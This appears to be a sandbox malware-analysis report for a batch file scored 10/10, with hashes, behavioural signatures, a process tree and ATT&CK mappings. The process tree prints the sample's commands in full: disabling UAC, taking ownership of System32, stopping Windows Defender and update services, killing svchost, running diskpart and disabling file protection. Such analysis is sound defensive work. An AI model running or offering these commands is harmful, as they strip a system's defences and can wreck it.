Analysis
- max time kernel
899s - max time network
528s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
14/07/2026, 18:46
Static task
static1
Behavioral task
behavioral1
Sample
deepseek_batch_20260714_f3fe97.bat
Resource
win10v2004-20260513-en
16 signatures
900 seconds
Behavioral task
behavioral2
Sample
deepseek_batch_20260714_f3fe97.bat
Resource
win11ltsc2024-20260709-en
14 signatures
900 seconds
General
- Target deepseek_batch_20260714_f3fe97.bat
- Size 6KB
- Sample260714-xend2abv2j
- SHA256 9ff3995039a80e664fb629a031976ba5cb6553aa02af64301703e71b9309bdf1
- MD5 331355773cd138d227e25b7ca7c4a3dc
- SHA1 32fb488403407c5c54a54a77c73273ae5b519b9a
- SHA512 f2fbed0d4f6b4b982555bf91ff730e8f828ee8a4b496d98cc08d87b7a0a343a57091a377a05ab307bcd9359c90e15e555d83e3903060a96b222d72fcd3a7d167
- SSDEEP 192:jwkp2NzFBdAJAgxMh6cm2IGrFWT9fRV26t23ezgHM/XQhsgRZ1Eq3/qvsWf/tIna:UXzA+WMh6cm2IGrFWZfRV26t23ezgHMF
- TLSH T124D184533B518E79808684914CFF92026BB5A14F5101BFE8B4E960E4EC663D68B7BDFC
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Signatures
- UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe - Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\rteth.sys cmd.exe File opened for modification C:\Windows\System32\drivers\DriverData\LogFiles\WMI\MICROS~1.ETL cmd.exe File opened for modification C:\Windows\System32\drivers\JFF85C~1.SYS cmd.exe - Possible privilege escalation attempt 2 IoCs
pid Process 5752 takeown.exe 2832 icacls.exe - Modifies file permissions 1 TTPs 2 IoCs
pid Process 5752 takeown.exe 2832 icacls.exe - File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\winevt\Logs\MI025C~1.EVT cmd.exe File opened for modification C:\Windows\System32\wbem\Repository\MAPPING2.MAP cmd.exe File opened for modification C:\Windows\System32\config\SOFTWARE cmd.exe File opened for modification C:\Windows\System32\config\TxR\{2354C~1.REG cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MIA746~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI1129~1.EVT cmd.exe File opened for modification C:\Windows\System32\mdmpostprocessevaluator.dll cmd.exe File opened for modification C:\Windows\System32\config\SAM.LOG1 cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MIF8AA~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI2C28~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\SYSTEM~1.EVT cmd.exe File opened for modification C:\Windows\System32\config\SECURITY.LOG1 cmd.exe File opened for modification C:\Windows\System32\UQM9XC~1.DLL cmd.exe File opened for modification C:\Windows\System32\config\DEFAULT.LOG2 cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MID52B~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI8196~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MICROS~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI3F20~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI32CE~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI4B6B~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MIFF83~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI2799~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\KEYMAN~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI4AC4~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MIA934~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI8607~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI4D4C~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\OALERT~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MICEAE~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MIE386~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI88F2~1.EVT cmd.exe File opened for modification C:\Windows\System32\config\TxR\{2AD83~4.REG cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI4613~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\WINDOW~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MIB868~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI1C6C~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MICC17~1.EVT cmd.exe File opened for modification C:\Windows\System32\wbem\Repository\INDEX.BTR cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MIC5CB~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MIFC66~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI755E~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI4667~1.EVT cmd.exe File opened for modification C:\Windows\System32\wbem\Repository\MAPPING1.MAP cmd.exe File opened for modification C:\Windows\System32\SecureAssessmentHandlers.dll cmd.exe File opened for modification C:\Windows\System32\config\SOFTWARE.LOG1 cmd.exe File opened for modification C:\Windows\System32\config\SYSTEM.LOG1 cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\INTERN~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MIB3AA~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI82F4~1.EVT cmd.exe File opened for modification C:\Windows\System32\config\SAM.LOG2 cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI03A7~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI5FD1~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI7771~1.EVT cmd.exe File opened for modification C:\Windows\System32\WDI\LogFiles\WDICON~1.002 cmd.exe File opened for modification C:\Windows\System32\config\DEFAULT.LOG1 cmd.exe File opened for modification C:\Windows\System32\config\TxR\{2AD83~1.BLF cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MIA726~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI7E7D~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MIEA98~1.EVT cmd.exe File opened for modification C:\Windows\System32\wbem\Repository\MAPPING3.MAP cmd.exe File opened for modification C:\Windows\System32\spp\store\2.0\tokens.dat cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI6A61~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MI1CF7~1.EVT cmd.exe File opened for modification C:\Windows\System32\winevt\Logs\MICA77~1.EVT cmd.exe -
pid Process 2012 powershell.exe - Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName vds.exe - Delays execution with timeout.exe 1 IoCs
pid Process 2948 timeout.exe - Kills process with taskkill 1 IoCs
pid Process 2344 taskkill.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2012 powershell.exe 2012 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2012 powershell.exe Token: SeTakeOwnershipPrivilege 5752 takeown.exe Token: SeDebugPrivilege 2344 taskkill.exe - Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 5180 wrote to memory of 2948 5180 cmd.exe 88 PID 5180 wrote to memory of 3732 5180 cmd.exe 89 PID 3732 wrote to memory of 5508 3732 net.exe 90 PID 5180 wrote to memory of 5828 5180 cmd.exe 91 PID 5180 wrote to memory of 2012 5180 cmd.exe 92 PID 5180 wrote to memory of 5096 5180 cmd.exe 93 PID 5180 wrote to memory of 5752 5180 cmd.exe 98 PID 5180 wrote to memory of 2832 5180 cmd.exe 101 PID 5180 wrote to memory of 5400 5180 cmd.exe 102 PID 5400 wrote to memory of 6060 5400 net.exe 103 PID 5180 wrote to memory of 2888 5180 cmd.exe 104 PID 2888 wrote to memory of 4328 2888 net.exe 105 PID 5180 wrote to memory of 4568 5180 cmd.exe 106 PID 4568 wrote to memory of 5692 4568 net.exe 107 PID 5180 wrote to memory of 3528 5180 cmd.exe 108 PID 3528 wrote to memory of 5920 3528 net.exe 109 PID 5180 wrote to memory of 3108 5180 cmd.exe 110 PID 3108 wrote to memory of 2564 3108 net.exe 111 PID 5180 wrote to memory of 2344 5180 cmd.exe 112 PID 5180 wrote to memory of 1744 5180 cmd.exe 113 PID 5180 wrote to memory of 4472 5180 cmd.exe 114
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260714_f3fe97.bat"1⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5180 -
C:\Windows\system32\timeout.exetimeout /t 10 /nobreak2⤵
- Delays execution with timeout.exe
PID:2948
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C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:3732 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:5508
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f2⤵
- UAC bypass
PID:5828
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2012
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C:\Windows\system32\diskpart.exediskpart /s "C:\Users\Admin\AppData\Local\Temp\diskpart_script.txt"2⤵PID:5096
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C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32" /r /d y2⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:5752
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C:\Windows\system32\icacls.exeicacls "C:\Windows\System32" /grant Administrators:F /t /q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2832
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C:\Windows\system32\net.exenet stop wuauserv /y2⤵
- Suspicious use of WriteProcessMemory
PID:5400 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wuauserv /y3⤵PID:6060
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C:\Windows\system32\net.exenet stop bits /y2⤵
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop bits /y3⤵PID:4328
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C:\Windows\system32\net.exenet stop cryptsvc /y2⤵
- Suspicious use of WriteProcessMemory
PID:4568 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop cryptsvc /y3⤵PID:5692
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C:\Windows\system32\net.exenet stop WinDefend /y2⤵
- Suspicious use of WriteProcessMemory
PID:3528 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y3⤵PID:5920
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C:\Windows\system32\net.exenet stop SecurityHealthService /y2⤵
- Suspicious use of WriteProcessMemory
PID:3108 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y3⤵PID:2564
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C:\Windows\system32\taskkill.exetaskkill /f /im svchost.exe /fi "SERVICES eq wuauserv"2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2344
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SFCDisable /t REG_DWORD /d 1 /f2⤵PID:1744
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Sfc" /v DisableSfc /t REG_DWORD /d 1 /f2⤵PID:4472
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:5964
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:4172
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Impair Defenses
1Disable or Modify Tools
1Modify Registry
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\diskpart_script.txt
- Size 31B
- SHA256 1bbaf091d7665e035230e5561efae319e330153b5ab1ea0f8e829705b2b78233
- MD5 af1dfc9563523516980edaa6fab12d10
- SHA1 49ae19c2403a5e839780b3b3dd2a7b7e71a1d2e3
- SHA512 c6249af0ff862a446d37edf50c6c6ff791988b666e2abe0e7ebe8a63cee98a748d6b3618afb1ae35d0682f41f286f440688e6803d99ce406feac4f99b6286665
- MD5 SHA1 SHA512